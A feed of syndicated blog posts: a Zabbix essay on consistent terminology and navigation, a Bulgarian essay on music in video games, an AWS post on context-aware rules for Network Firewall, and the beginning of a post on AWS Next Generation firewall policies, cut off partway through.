Designing a More Predictable and Consistent Zabbix Experience

Post Syndicated from Patrik Uytterhoeven original https://blog.zabbix.com/designing-a-more-predictable-and-consistent-zabbix-experience/33478/

Here’s why naming, navigation, templates, and terminology matter more than they seem to. 

Zabbix is a powerful platform, and one of its strengths is the enormous amount of functionality that has accumulated over the years. But as the software develops, a challenge grows with it – consistency.

Consistency may sound like a minor concern. If a feature works, does it really matter what we call it? Does it matter if two similar concepts use slightly different terminology, or if two different parts of the interface expose the same object in different ways? I believe it does.

Not because inconsistent terminology makes Zabbix unusable – it clearly does not. But because every inconsistency adds a small amount of cognitive overhead for the person using the product. Those small inconsistencies add up and can make a product harder to use.

Templates define the monitoring experience

When we talk about user interfaces, we usually think about buttons, menus, forms and dashboards. But a Zabbix template is also an interface (not like a network interface). Templates are a different kind of interface – they define much of what users work with.

A template exposes a collection of concepts to the user: item names, trigger names, discovery rules, macros, tags, value maps, preprocessing steps, graphs and prototypes. Together, these form a language. Consider something as simple as CPU utilization. One template might call an item CPU utilization. Another might use CPU usage. And another might go with CPU used percentage.

Technically, all three can describe exactly the same metric. The problem is not that any individual name is necessarily wrong. The problem appears when hundreds of templates use slightly different terminology for the same concepts.

The result is that users cannot easily predict what something will be called. That matters when searching for items, creating dashboards, defining calculated items, writing API integrations, building documentation, or simply trying to understand an unfamiliar template.

If official templates consistently use the same terminology, users gradually learn the language of Zabbix. Users develop a consistent mental model, allowing them to recognize and understand unfamiliar templates with less cognitive effort. In short, once users know the familiar language, they can understand templates they have never seen before. Remember – a consistent interface is a predictable interface.

Two places called Hosts

Another example will be familiar to almost anyone who has worked with Zabbix as an administrators. Where do you find your hosts? That sounds like an easy question.

Monitoring
  -> Hosts

But you can also go to:

Data collection
  -> Hosts

They both say Hosts, but they serve very different purposes.

Monitoring -> Hosts presents hosts from an operational perspective. It is where users look at monitored hosts and navigate towards current data, problems, graphs and other collected information. Data collection -> Hosts is where an administrator configures those hosts.

Once you understand the Zabbix interface, the distinction makes sense. Monitoring is about viewing what Zabbix knows. Data collection is about configuring how Zabbix collects that information. The permissions model also makes the separation understandable because a user may need monitoring access without permission to modify host configuration.

The problem is not that this separation exists. The interesting question is whether the navigation needs to expose that separation as two menu entries with exactly the same name.

For someone learning Zabbix, being told to “go to Hosts” can result in an immediate question: “Which Hosts?” If they choose the wrong one, they can spend time looking for configuration options that simply are not present in the menu they navigated to.

Experienced administrators barely notice this anymore. We have learned that one Hosts page means “view” while the other means “configure.” But that learned behavior is in itself interesting.

Conceptually, another interface could present one Hosts destination with two modes:

Hosts

[ View ]   [ Edit ]

The “Edit” option could simply be visible or enabled only for users with sufficient permissions. Zabbix even applies this concept already in the Service configuration menu, which already created that inconsistency between concepts within the UI. This is not necessarily a proposal for how Zabbix should redesign the Hosts page.

There may be good architectural or usability reasons for keeping the pages separate. But the example demonstrates an important principle: Users should not need to understand the internal organization of a product before they can predict where something is located.

The difference between viewing and editing a host is meaningful. Having two navigation entries with exactly the same name is a design choice. Those are not necessarily the same thing.

Discovery…and discovery

Discovery gives us another example of terminology that depends heavily on context.

Under the main menu, we have network discovery:

Data collection
  -> Discovery

Here we configure discovery rules that scan IP ranges and use checks such as ICMP, SNMP, or Zabbix agent queries to find devices and services.

Inside templates, however, we also have discovery rules. In that context we are normally talking about low-level discovery, or LLD.

An LLD rule does not discover hosts on the network. It discovers entities from returned data and dynamically creates items, triggers, graphs, or host prototypes.

From a broad technical perspective, both are forms of discovery. From a user perspective, they are two quite different mechanisms.

When teaching Zabbix, this produces the same kind of question as Hosts. Tell a new administrator to “go to Discovery” and the natural response may be: “Which discovery? Network discovery? Low-level discovery? A discovery rule in Data collection? A discovery rule inside a template?”

Experienced Zabbix users understand the distinction because they have learned the context. But ideally, software should require as little contextual translation as possible.

Perhaps one place could explicitly say “Network discovery” while templates use Low-level discovery or LLD rules. Whether those exact labels are the best solution is less important than the question behind them – can users understand what something means without first having to learn where they are in the product?

Consistency reduces cognitive load

This becomes more important as the number of concepts in Zabbix increases. Experienced administrators do not remember every command, menu entry, macro or configuration parameter individually. Instead, we learn patterns.

Those patterns allow us to make educated guesses. If I know these runtime commands…

config_cache_reload
secrets_reload
snmp_cache_reload
userparameter_reload

…then I naturally expect something involving reload when I encounter another runtime operation involving cached information.

This is what consistency gives us. We stop memorizing individual pieces of information and start understanding the system.

The same principle applies to templates. If similar metrics consistently use similar names, similar macros follow similar structures and discovery rules follow similar conventions. Learning one template helps you understand the next one.

Reload or rebuild?

This brings us to a small runtime-command example that recently started an interesting discussion within the Zabbix community. Zabbix is introducing an operation related to the permissions system:

-R permissions_rebuild

Looking at existing runtime commands, we find several operations using reload:

config_cache_reload
service_cache_reload
secrets_reload
snmp_cache_reload
userparameter_reload
proxy_config_cache_reload

And now we have permissions_rebuild. At first sight, rebuild stands out.

The obvious reaction might be, “Why is this not permissions_reload?” There is, however, a perfectly reasonable technical explanation. The operation may not simply reload existing information. It may recreate cached entries used by the permissions system. In that case, rebuild can be a more accurate description of what the software actually does.

That leads to a much more interesting design question than whether reload or rebuild is objectively correct – do you prioritize technically correct wording or usability?

Implementation language versus user language

Developers naturally understand software in terms of what happens internally. A cache might be loaded. Another cache might be refreshed. Some entries might be regenerated. Others might be rebuilt from source data. Those distinctions can be important when implementing the software.

But should every internal distinction become part of the user-facing vocabulary?

Suppose I have six runtime commands. Five tell Zabbix to update some internal state and use the word “reload.” The sixth also tells Zabbix to update an internal state, but because its implementation is different, it uses “rebuild.”

From the developer’s perspective, that distinction may be completely logical. From the administrator’s perspective, those operations may belong to exactly the same mental category – something changed, make Zabbix use the current state without restarting the server.

User interfaces should not necessarily expose the internal architecture of the software. Sometimes they should. Sometimes a technical distinction is important enough that users need to understand it. But sometimes consistency with an established user-facing concept is more valuable.

The vocabulary of a product

As software matures, it develops its own vocabulary. Zabbix certainly has one.

items
triggers
hosts
templates
proxies
macros
discovery rules
prototypes
preprocessing
value maps
maintenance
actions

Many of these terms have very specific meanings inside Zabbix. That vocabulary is part of the product.

Therefore, introducing another word for an existing or closely related concept has a cost. Not necessarily a large cost, but a cost nonetheless. Every new term is something documentation needs to explain, trainers need to teach, administrators need to remember, users need to search for, and support engineers may need to clarify.

Once terminology enters a widely used product, changing it later becomes increasingly difficult. This is why naming choices deserve more attention than they sometimes receive.

Consistency does not mean everything must be identical

There is also a danger in taking this argument too far. Consistency should not mean forcing fundamentally different concepts into the same terminology.

If an operation truly behaves differently in a way that matters to users, giving it a different name can be exactly the right decision. Likewise, network discovery and low-level discovery really are different mechanisms.

The goal should therefore not be to always reuse existing terminology. A better principle might be to reuse existing terminology unless the distinction is meaningful to the user.

That last word is important – the distinction has to matter to the user, not merely to the implementation.

The same lesson applies to templates

This is particularly relevant to the growing collection of official Zabbix templates. Templates are developed over many years, by different people, for different vendors and technologies. Without strong conventions, it is easy for each template to develop its own dialect.

One template may use:
CPU utilization
while another uses:
CPU usage

One may use:
Interface {#IFNAME}: Bits received

while another uses:
Incoming traffic on {#IFNAME}

One macro may control a threshold using one naming structure while another template uses a different structure for essentially the same purpose.

Again, none of these choices necessarily has to be wrong. The question is what happens when we look at the template library as a whole.

Ideally, learning how one well-designed Zabbix template works should help you understand another one. The more predictable that structure becomes, the less time administrators spend learning individual templates. Instead, they learn how Zabbix templates work.

Consistency is a feature

It is easy to treat naming and terminology as the final step in development that only has to be considered after the real functionality has been implemented. I think that underestimates their importance.

Consistency is part of usability. It affects documentation, training, support, automation, and how quickly experienced users can understand a new functionality. Most importantly, it affects how predictable the product feels.

A predictable product requires less memorization because users can rely on patterns they already know. That is particularly valuable in monitoring. When something is broken at 3AM and you are trying to understand why an important service is unavailable, you do not want to remember whether the operation you need is called reload, refresh, rebuild, regenerate, or sync. You want to be able to predict it.

Before introducing another word

So should permissions_rebuild be renamed to permissions_reload? Maybe. Maybe not. The technical distinction behind rebuild may be important enough to justify different terminology.

But the command provides a useful example of a much broader question that applies throughout Zabbix: Before introducing a new name, ask whether users really need to learn a new word.

Sometimes they do. A genuinely different concept deserves a different name. But when two operations are conceptually similar from the user perspective, consistency may be more valuable than describing differences in their internal implementation.

The same question can be asked about templates, menu entries, discovery, macros, API objects, runtime commands, and almost every other interface through which users interact with Zabbix.

Remember – consistency is not about making everything look the same. It is about making the next thing easier to understand because of everything the user has already learned. And ultimately, that is what makes a complex product feel intuitive.

Let us know what you think in the comments.

The post Designing a More Predictable and Consistent Zabbix Experience appeared first on Zabbix Blog.

Видеоигрите. Да правиш свят за музиката

Post Syndicated from Миглена Николчина original https://www.toest.bg/videoigrite-da-pravish-svyat-za-muzikata/

Видеоигрите. Да правиш свят за музиката

Музиката – и в един по-широк смисъл художествената организация на звука – е органичен компонент на видеоигрите. Музиката може да бъде обвързана с конкретно място от картата, навлизането в което е винаги оповестявано с определена тема (или теми), така че да се превърне наред с визията в инструмент за изграждане на пространството и в негово допълнително измерение, както е в този пример от „Неборъб“.

Тя може да бъде обвързана и с определен тип действие или случване и тогава музиката на пространството да се замени от музика на действието и случването. Във втория ми пример от „Неборъб“ идиличната мелодия на шляене сред природата е най-напред съпроводена от далечното предупредително ехо от вика на кръжащия дракон, след това е сменена от героичния мотив на битката (в тази игра има различни музикални варианти на „битка с дракон“), най-сетне идва мотивът на „поглъщане на драконова душа“ и следва победоносният финал, като различни други звуци – от „реалната“ среда или ознаменуващи някакви постижения – периодично се вклиняват.

В резултат на такива последователности цялостното протичане на играта се оказва структурирано на музикален принцип, при което музикалните сегменти или са оставяни да се разгърнат докрай, или – по-често – се явяват с едни или други свои части, прекъсвани от други отрязъци, разпознаваеми като носители на съответното им съдържание.

По такъв начин играта се превръща в цвето-музикално произведение, чиято „програма“ (в смисъла на „програмна музика“) е лайтмотивно разгърната в образи, движени от играча. В игри като „Неборъб“ тази музикална логика може да се окаже забулена от епическото начало, но в други тя може феерично да се слее с флуидността на движение от цвят към цвят „без думи“, макар и не без разказ. Такъв е случаят с прелестната притча за преодоляване на тъгата „Сиво“ (Gris), която Христомира Султова, магистрантка в програмата за видеоигри на ФЖМК на СУ „Св. Климент Охридски“, ми посочи и представи тук:

„Неборъб“ обаче е също така пример за присъствие на музиката, което не е просто музика за света на играта, а напротив,

самият свят на играта се оказва свят за музиката, свят, извикващ и предлагащ осмислящо пространство за музиката.

Киното преди това прави нещо подобно. Ако класическата музика от вида, предшестващ Шьонберг и неговото наследство през ХХ век – музиката най-вече от вида, който свързваме с (пред)романтиците, – се е оказала толкова извън собствения ни свят днес, че е останала в нишите на една специализирана публика, и то предимно в повторителното изпълнение на творците от миналото, героическата архаика на игри като поредицата „Древните скрижали“ (чиято пета част е „Неборъб“) създава благодатна вселена за симфонизма на мащабни оркестри и хорове. Нещо повече, извиква този симфонизъм на живот и го довежда до многомилионни публики, които никога по друг начин не биха се съприкосновили с него.

Концертът на Лондонския симфоничен оркестър по повод десетгодишнината от създаването на „Неборъб“ – с цялата ирония на съчетаването на героиката с пандемичните маски – илюстрира тази реинкарнация на романтизма в музиката. Нашият блестящ сънародник Борислав Славов е друг пример – тук в изпълнение на Датския национален симфоничен оркестър.

Авангардната музика също присъства, макар и невинаги по разпознаваем начин. В игра като „Метаморфозата“ (2020) връзката с Кафка е експлицитно връзка на музиката в играта с дванайсеттонната техника на Шьонберг – връзка, която дискутират двамата композитори Миколай Строински и Гари Шиман. Това е игра, разбира се, от съвършено различен от „Древните скрижали“ вид.

По-често обаче присъствието на авангарда е много по-дискретно и така да се каже, коварно, което му позволява да се промъкне и в спечелили масов успех заглавия като „Биошок“ (Bioshock). Коварството е в това, че музиката често потъва в тъканта на средата като част от – най-често – тревожно преживяване, заплаха, ужас, призрачност, лудост, неземност. В „Мъртво пространство“ музиката на Джейзън Грейвс (който е композиторът и на „Биошок“ и една от най-ярките фигури в тази сфера) предлага в концентриран вид елементи, чиито техники се срещат разпръснати в много игри. Самият Грейвс твърди, че музиката на ХХ век е неговата библия, и посочва Игор Стравински и Кшищоф Пендерецки, както и филмовия композитор Бернард Херман като любими свои композитори. Отново бихме могли да говорим за „осигуряване на свят“ за тази музика и отново бихме могли да намерим в киното предходници (Лигети в „Одисея 2001“, Пендерецки в „Сиянието“).

Отвъд траекториите на „високата“ музика, в игрите намират място всички възможни стилове, култури и епохи, като в много случаи простотата на средствата не изключва чаровете на постигнатото.

За отбелязване е, че в сравнение с другите компоненти на художествен синтез в игрите – образ и слово – музиката като че ли показва най-ясно изразена тенденция, а и капацитет за еманципация и самостоятелно съществуване. Веднъж възникнала като продукт на свят, който я прави възможна, тя най-вече се стреми навън, към реалността извън играта, към живото изпълнение и собствени публики. Вярно е и обратното – изпълнителите се стремят към живителните възможности на тази нова романтика. Това се вижда и от посочените по-горе концерти. Библиотеките на „Древните скрижали“, стотиците лирични, комични, проникновени страници на игри като „Диско Елизиум“ остават сдвоени с играта. Преход от литературни произведения към игри има (поредицата „Вещерът“, „Метро“, първоначалните части на „Кредото на убиеца“), но обратното движение все още не е отбелязало впечатляващи успехи.

Въпреки тази потенциална самостойност на музиката към видеоигрите, все пак си остава въпросът как тя се интегрира в целостта на творбата. Ще се обърна към двете игри, които многократно обсъждахме в тази рубрика – „Светлосянка“ (Clair obscur: Expedition 33) и „Индика“ – за да покажа особения вид „надстрояване“, който музиката и в двата случая предлага. Колкото релефно и дори опредметено е то в единия случай, толкова дискретно, почти невидимо, но и изненадващо е във втория.

Поезия и видеоигри

В този текст Миглена Николчина предлага нещо като притурка към разговорите си със Северина Станкева върху „Индика“ и „Светлосянка“, за да покаже как и в двете игри има таен поетически ключ за интерпретацията им.

Музиката на „Светлосянка“ очевидно от самото начало е била мислена като способна да има свой обособен живот и вътре в играта, и извън нея. За Лориен Тестар, който работи върху партитурите заедно със сопрано певицата Алис Дюпор-Персие, това е първата голяма (и спечелила огромни възторзи) изява – включването му в екипа следва полуприказната траектория на събирането на повечето ключови създатели в тази дружина – събиране, което на свой ред напомня събирането на „спътници“ в ролевите игри.

Красота и катастрофа в „Светлосянка: Експедиция 33“ (първа част)

Париж, 1905 г., революции в изобразителното изкуство и… каймакът на цивилизацията, изправен пред гибелта си. Миглена Николчина и Северина Станкева разговарят за навярно най-награждаваната – и може би с право – игра на всички времена.

Освен че звучи по обичайния начин като музика на мястото, на действието, на персонажите, музиката в „Светлосянка“ може да бъде колекционирана – това е една от задачите в играта, от които стигането до финала не зависи, но които прибавят дълбочина и плътност, а и мотив за по-внимателно претърсване на света. Намерените отделни виртуални дискове след това могат да бъдат прослушвани по време на почивките в лагера на героите. Това са над осем часа, съставени от 154 парчета, щедро предоставени в своята цялост от създателите (могат и да бъдат закупени). Голямо място заемат вокалите и шансоните, струнните инструменти, китарата, електрониката, но и соловото включване на пиано, чело, акордеон, и пр., като всичко това – а също и поразителната художническа визия, имитираща различни живописни техники – възсъздава различни жанрове и епохи, без да престава да бъде френско.

Текстовете на песните, включително на окситански, са тясно свързани със сюжета и дори го издават, стига да можеш и да искаш да разбереш. При все че е неизбежна последователността, която се появява в цялостната подредба на отделните парчета, те по-скоро „застилат“ картата на играта пространствено, разместват времето, придават му извънвременен характер.

Всичко е сякаш в пълен контраст с „Индика“. Музиката в „Индика“ не би могла да има кой знае какъв живот извън играта. Композиторът Майк Сабадаш следва линейно нейното стилистично разцепване между строгия графичен стил на основния сюжет и пикселизираната пъстроцветност на ретроспективния сюжет, свързан с юношеската любов на Индика – от една страна, електронен амбиент, понякога примесен с индустриален шум, и в определени моменти постигащ тревожна дълбочина и сила, от друга – инфантилно приповдигнати 8-битови мелодии. Нищо от това обаче не може да бъде видяно като особено индивидуализирано или специфично – то е усреднено, типизирано, абстрактно и в последна сметка твърде бедно като звук. В контраст със „Светлосянка“ – почти пълно отсъствие на човешкия глас, на акустиката на живите инструменти.

Съдба, свобода и игрова механика. Случаят „Индика“

Изгонена от манастира монахиня, която разговаря с дявола, и избягал затворник, който разговаря с бога… Какво може да произтече от подобна среща? За необичайните игрови превъплъщения на тези разговори разговарят Миглена Николчина и Северина Станкева.

Основното качество на звука е да се слива с историята и това е забележително постижение, като се има предвид колко далечна е тази локализирана в собственото ни време звукова естетика от драмата на монахинята от XIX век, беседваща с дявола, и на блудния син, общуващ с бога. Дали обаче изчистената простота, почти аскетичност на звука не е същественото в случая?

Въпросът застава особено остро, ако погледнем какви са заглавията на отделните парчета: „Битие“, „Изход“, „Левит“, „Числа“… и така, преминавайки през „Рут“ и редица пророци, до №23 „Апокалипсис“ и №24 „Софония“. С тези заглавия музиката успоредява сюжета на играта и отново ни изправя пред загадката на финала. Тръбата на съдния ден ли чуваме в него? Или – на фона на множеството часовници в последната сцена – имаме „времето, което остава“? Името на Софония означава „Бог е скрит“ – това е и учението на Йоан Дамаскин, на когото е наречен храмът, в който героите в играта се надяват да намерят чудо, но не го намират… или може би са го намерили именно защото не са. Във всеки случай, музиката предлага свой собствен разказ, както и играта – отворен.


В рубриката „Игромислие“ публикуваме разговори, в които се срещат, съпоставят и противопоставят различни гледни точки към многоизмерния, многожанров феномен на видеоигрите – не толкова като електронен спорт, колкото като нов синтез на изкуствата и като ново поле на общуване и социалност.

Introducing context-aware rules for AWS Network Firewall

Post Syndicated from Lawton Pittenger original https://aws.amazon.com/blogs/security/introducing-context-aware-rules-for-aws-network-firewall/

AWS Network Firewall now supports context-aware rules, which match traffic by the AWS resources that send and receive it instead of by IP address. A rule can name a virtual private cloud (VPC), a subnet, a security group, or a transit gateway attachment. Rules that match on IP addresses have to keep up with every workload that scales out, is replaced, or moves. Short-lived workloads are the hardest to keep up with. A VPC-attached AWS Lambda function can scale out and start sending traffic before an updated IP list reaches the firewall. With context-aware rules, you can filter a function’s traffic by the security group attached to it.

With context-aware rules, you can:

  • Write rules that follow your workloads – A rule that names a security group applies to each new resource whose network interface has that security group attached. A rule that names a subnet or VPC applies to each new resource that you launch in it. A rule that names a transit gateway attachment applies to traffic that enters through that attachment.
  • Apply one policy across accounts – One context store tracks the resources in the accounts that attach to a shared transit gateway. A rule can name context from any of those accounts.
  • See which resources are behind each connection – Your firewall logs record the resources on each side of a flow, along with their IP addresses.

In this post, we explain how context-aware rules work, set them up across accounts, and show what the logs record.

How context-aware rules work

Context-aware rules require transit gateway-attached firewalls, and they combine a control path and a data path (Figure 1). On the control path, a context store tells the firewall which AWS resources exist. On the data path, the transit gateway adds the context of the sender to each packet. The firewall brings the two together and matches that context against your rules.

Figure 1: How context-aware rules work across accounts

A context store tracks your resources. A context store is a catalog of the AWS resources that can send and receive traffic through a transit gateway. You create it in AWS Network Manager and associate it with the transit gateway that your firewall uses. When you share the transit gateway with workload accounts through AWS Resource Access Manager (AWS RAM), those accounts create transit gateway VPC attachments to it. The context of those attachments, and of the resources behind them, then appears in the same context store. The context store is designed to keep the firewall in sync as you add and remove resources.

The transit gateway tags each packet. When traffic crosses the transit gateway, the transit gateway tags each packet with the context of the resource that sent it. That context is the sender’s VPC, subnet, transit gateway attachment, and the security groups attached to the sender. The firewall gets only the security group IDs, not their rules, so a rule that names any one of those groups matches.

The firewall matches context IDs in your rules. It reads the context on each packet and matches it against your rules. You group context IDs into a context set, a named rule variable that lists resources from the context store associated with the firewall. Then you use the set in the source or destination of a rule, in a Classic or Next Generation firewall policy.

Source context works with every protocol, because each packet carries the context of its sender. Destination context requires TCP-based rules, because the firewall learns the receiving resource from return traffic. For more details, see How context-aware rules work and Matching on destination context. AWS Transit Gateway also shares context with third-party firewalls through Gateway Load Balancer. For that setup, see Introducing resource context for firewall policies with AWS Transit Gateway.

Getting started

In this example, a central networking account owns the transit gateway and the firewall, and shares the transit gateway with workload accounts through AWS RAM. You complete steps 1 and 2 once, in the account that owns the transit gateway.

1. Create a context store. In the AWS Network Manager console, select or create a global network and register your transit gateway with it. Then create a context store and associate it with the transit gateway (). Network Firewall discovers the context store on its own, so there’s nothing to configure on the firewall.

Figure 2: A context store associated with a transit gateway

2. Give Network Firewall access to the context store. In the account that owns the context store, create the AWS Identity and Access Management (IAM) role NetworkFirewallContextStoreReadOnly. Use the trust policy and permissions in Onboarding your transit gateway to a context store. You create the role once for each account that owns a context store.

3. Create a context set. In the Amazon Virtual Private Cloud (Amazon VPC) console, under Network Firewall, create a rule group. On the Rule group variables page, choose Create context set, select your context store, and select the resources for the set. One set can mix context IDs of different resource types, from the accounts in the context store.

Figure 3: Creating a context set from the resources that the context store tracks

4. Check the sync state. Before you write rules, open the firewall’s details page and check the Context store sync state section. It shows the context store that the firewall discovered and its sync state.

Figure 4: The context store sync state on the firewall’s details page

5. Use the context set in your rules. The sample rule from Writing context-aware rules blocks SSH from PROD_RESOURCES to destinations outside your home networks. In a Next Generation firewall rule group, on the Configure rules page, use the Visual rule builder. Choose Drop and TCP. For Sources, choose Match specific criteria, select Context sets, and choose PROD_RESOURCES. For Destinations, choose Match specific criteria, select Destination IP, and enter $EXTERNAL_NET. Set the destination port to 22. Then add the rule group to your firewall policy.

Figure 5: Choosing a context set as a rule’s source in the Next Generation rule builder

The same rule in Suricata-compatible syntax follows. drop:flow is the action and its scope, tcp:all the protocol and connection state, and the rest is the source, destination, and port. In raw rules, you reference a context set with $ and its name; in the console, you pick it from a list.

drop:flow tcp:all $PROD_RESOURCES any -> $EXTERNAL_NET 22 (msg:"Block SSH from production to external"; sid:2001;)

Because the rule names resources and not addresses, it covers each new resource that you launch in those VPCs or attach that security group to.

For Classic policies, the same rule looks like this:

drop tcp $PROD_RESOURCES any -> $EXTERNAL_NET 22 (msg:"Block SSH from production to external"; sid:2001; rev:1;)

What the logs record

After you associate the transit gateway with a context store, Network Firewall adds a context object to its alert log and flow log records. The following records, shortened, show one outbound TLS connection from an application instance to example.com, through a central egress VPC with a network address translation (NAT) gateway. A rule that references the application’s security group blocks the connection and writes this alert log record. The matched list names the security group that the rule matched.

{
  "event": {
    "event_type": "alert",
    "flow_id": 314246768212473,
    "src_ip": "10.1.1.25",
    "dest_ip": "203.0.113.10",
    "dest_port": 443,
    "app_proto": "tls",
    "tls": {
      "sni": "example.com"
    },
    "context": {
      "matched": [
        "sg-0a1b2c3d4e5f60031"
      ]
    },
    "alert": {
      "action": "blocked",
      "signature_id": 2002,
      "signature": "Application A: domain not on its allow list"
    }
  }
}

The flow log record for the same flow_id lists the full context on each side. The src list holds the sender’s context IDs. Flow logs record this context for every flow, even when no rule matches it.

{
  "event": {
    "event_type": "netflow",
    "flow_id": 314246768212473,
    "src_ip": "10.1.1.25",
    "dest_ip": "203.0.113.10",
    "dest_port": 443,
    "app_proto": "tls",
    "context": {
      "src": [
        "vpc-0a1b2c3d4e5f60001",
        "subnet-0a1b2c3d4e5f60011",
        "tgw-attach-0a1b2c3d4e5f60021",
        "sg-0a1b2c3d4e5f60031"
      ],
      "dst": [
        "vpc-0a1b2c3d4e5f60003",
        "subnet-0a1b2c3d4e5f60013",
        "tgw-attach-0a1b2c3d4e5f60023"
      ]
    }
  }
}

The dst list shows how destination context works for traffic to the internet. The firewall learns the destination from the response, and the response reaches the firewall from the NAT gateway. So the destination context is the egress VPC, the NAT gateway’s subnet, and the egress VPC’s transit gateway attachment, not the internet host. You can query these fields by context ID in Amazon CloudWatch Logs Insights. For example, you can see what an application already connects to before you write its rules. For the fields, see Context in your network firewall logs.

Availability and pricing

Context-aware rules are available at no additional charge. Standard AWS Network Firewall and AWS Transit Gateway charges apply to the resources that you use. For details, see AWS Network Firewall pricing and AWS Transit Gateway pricing. They work in the AWS Regions where both Network Firewall and Transit Gateway context sharing are available.

Conclusion

In this post, we showed how you can use context-aware rules in Network Firewall to match traffic on the context of the resources that send and receive traffic. A context store tracks those resources across the accounts that share your transit gateway, and the transit gateway tags each packet with its sender’s context. Your rules and logs then use that context, so your rules can keep up as workloads change. To learn more, see Context-aware rules in AWS Network Firewall.

If you have questions about this post, contact AWS Support or start a new thread on AWS re:Post.


Lawton Pittenger

Lawton Pittenger

Lawton is a Worldwide Security Specialist Solutions Architect at AWS, based in New York City. He helps customers design and implement effective network security controls, and works with AWS service teams to improve security services based on customer feedback. Outside of work, he enjoys skateboarding, snowboarding, and spending time in nature.

Santosh Shanbhag

Santosh Shanbhag

Santosh is a seasoned product leader, specializing in security, data protection, and compliance. At AWS, he focuses on securing workloads through Network and Application Security services, including AWS Network Firewall and active threat defense.

Rahi Patel

Rahi Patel

Rahi is a Startups Technical Account Manager at AWS specializing in Networking. He architects cloud networking solutions, optimizing performance across global AWS deployments. Previously a network engineer with Cisco Meraki, he holds an MS in Engineering from San Jose State University. Outside work, he enjoys tennis and pickleball.

Mahesh Elireddy

Mahesh Elireddy

Mahesh is a Senior Software Development Engineer at AWS, where he has spent 10 years building the network. He has been a part of the teams that built Network Load Balancer, Gateway Load Balancer, and NAT Gateway, and now works on AWS Network Firewall. Outside of work, he likes spending time outdoors in the Pacific Northwest with his family.

Introducing AWS Network Firewall Next Generation policy

Post Syndicated from Lawton Pittenger original https://aws.amazon.com/blogs/security/introducing-aws-network-firewall-next-generation-policy/

When it comes to inspecting network traffic, many security teams want two things from a firewall. They want to allow only the traffic each application needs, and they want each allowed connection checked for known threats. Today, you can do both with AWS Network Firewall, a stateful, managed network firewall and intrusion detection and prevention service. In a Classic policy, your access rules and your threat rules run together in one stateful engine and share one rule capacity.

With Next Generation policies, access control and threat protection each get their own engine in the same firewall. A firewall engine allows the traffic you approve and drops the rest. An intrusion prevention system (IPS) engine checks the allowed traffic with AWS managed rule groups or with rules that you write. Each engine has its own rule capacity, so adding access rules doesn’t take capacity away from threat protection.

In this post, we walk through what Next Generation policies are, how they evaluate traffic, and the new concepts they introduce. We use sample records to cover what each engine logs and how to validate a policy with the new monitor mode. To put it all together, we walk through creating an example Next Generation policy.

How a Next Generation policy works

A Next Generation policy inspects traffic with two engines, in sequence. Traffic that the firewall engine allows moves to the IPS engine, and traffic that the firewall engine blocks goes no further. The firewall engine is drop by default, and the IPS engine is pass by default.

If you already write Suricata rules, the two engines will feel familiar. The firewall engine is built on Suricata 8 firewall mode, which follows each connection as it progresses and evaluates rules at each step. The IPS engine uses the Suricata compatible intrusion detection system (IDS) and IPS rules that you already know from the stateful engine in a Classic policy, with one difference: it evaluates rules in action order and doesn’t support Classic options such as strict order.

A Classic policy uses a stateless engine and then a stateful engine that evaluates access rules and threat rules together. In a Next Generation policy, both engines are stateful, so each rule is evaluated with full connection context, which helps keep traffic handling consistent and predictable. The firewall engine works up to the application layer. It follows each connection for its entire flow, from the first packet through the TCP handshake and application layer exchanges such as the TLS client hello, and evaluates your access rules along the way (Figure 1).

Figure 1: Classic and Next Generation policy engines and their rule capacity.

Figure 1: Classic and Next Generation policy engines and their rule capacity.

This separation changes how you design a policy. Because each engine has one job, you can plan access control and threat protection on their own, and different teams can work independently. For example, a networking team can manage access rules while a security team handles threat detection, and neither has to rewrite the other’s rules.

The firewall engine controls access

You configure access control by specifying an action for a protocol, along with a source and destination. Rules run in the order that you set. Traffic that no rule allows gets the policy’s firewall default action, which is drop unless you change it. In a Next Generation policy, the drop default action applies from the first packet, so for TCP traffic the firewall can drop the initial SYN. Unlike the drop established default action in a Classic policy, it doesn’t wait for a connection to be established.

A few terms explain how the firewall engine evaluates traffic. Connection states are the protocol states that a connection progresses through, such as the TCP handshake and the TLS client hello. A hook is the point at a connection state where your rules attach, so a rule’s hook sets when the firewall engine evaluates it. Each rule also has an action, such as accept, drop, or reject. Its action scope sets how much of the traffic the action applies to, from one packet or one transaction up to the whole connection, called the flow. For more details, see Firewall engine hooks.

When you build a rule in the console, you choose a protocol and then two settings: Connection state, which sets the rule’s hook, and Action scope. For example, to allow a domain over TLS, you match its server name at the Client Hello connection state with the This flow action scope.

Because the firewall engine is drop by default, a connection advances to the next connection state only while your rules keep accepting it. For example, a connection can pass the TCP handshake and still be dropped at the TLS client hello. That happens when its server name isn’t on your approved list (Figure 2).

Figure 2: A connection is accepted at the TCP handshake hook and dropped at the TLS client hello hook.

Figure 2: A connection is accepted at the TCP handshake hook and dropped at the TLS client hello hook.

In Figure 2, the rule for www.amazon.com accepts the flow when it matches the server name at the TLS client hello hook. No rule accepts example.com at that hook, so the firewall default action drops it.

You don’t have to write every rule in raw Suricata syntax. You can build rules in the console rule builder, or, as in the example later in this post, enter your domains in a domain list rule group, and Network Firewall builds the rules for you.

Action scope also sets where an accepted connection goes next. An accept with the hook scope allows the connection to advance to the next connection state, where the rules at that hook evaluate it. An accept with the flow scope lets the connection skip the remaining hooks and move to the IPS engine (Figure 3). A firewall rule can also bypass the IPS engine for specific traffic when you choose. For the valid combinations of action and scope at each type of hook, see Firewall engine actions and scopes.

Figure 3: An accept with the hook scope compared with an accept with the flow scope.

Figure 3: An accept with the hook scope compared with an accept with the flow scope.

The IPS engine looks for threats

Traffic that the firewall engine allows then reaches the IPS engine, which inspects it with Suricata compatible rules. The IPS engine is designed to look for specific threats, so it blocks only traffic that matches a threat rule. IPS rules evaluate in action order. Pass rules go first, then drop, reject, and alert rules, regardless of the order in which you define them. For the full path through both engines, see How Network Firewall filters traffic with a Next Generation policy.

We recommend that you start with the AWS managed rule groups. Because the IPS engine is built on the industry standard Suricata engine, you can also run Suricata compatible rule sets from specialized security providers, alongside rules that you write yourself.

Referenced rule groups and embedded rules

Each engine gets its rules from its own section of the policy. You can add rules in two ways and mix both in one section.

Referenced rule groups are separate resources, and they’re the only kind of rule group that Classic policies support. You create a rule group once and add it to as many policies as you need. You can also share it with other accounts through AWS Resource Access Manager (AWS RAM). For details, see Sharing AWS Network Firewall resources. When you update the rule group, each policy that references it picks up the change. You set a referenced rule group’s capacity when you create it, and you can’t change it afterward, so leave room for it to grow.

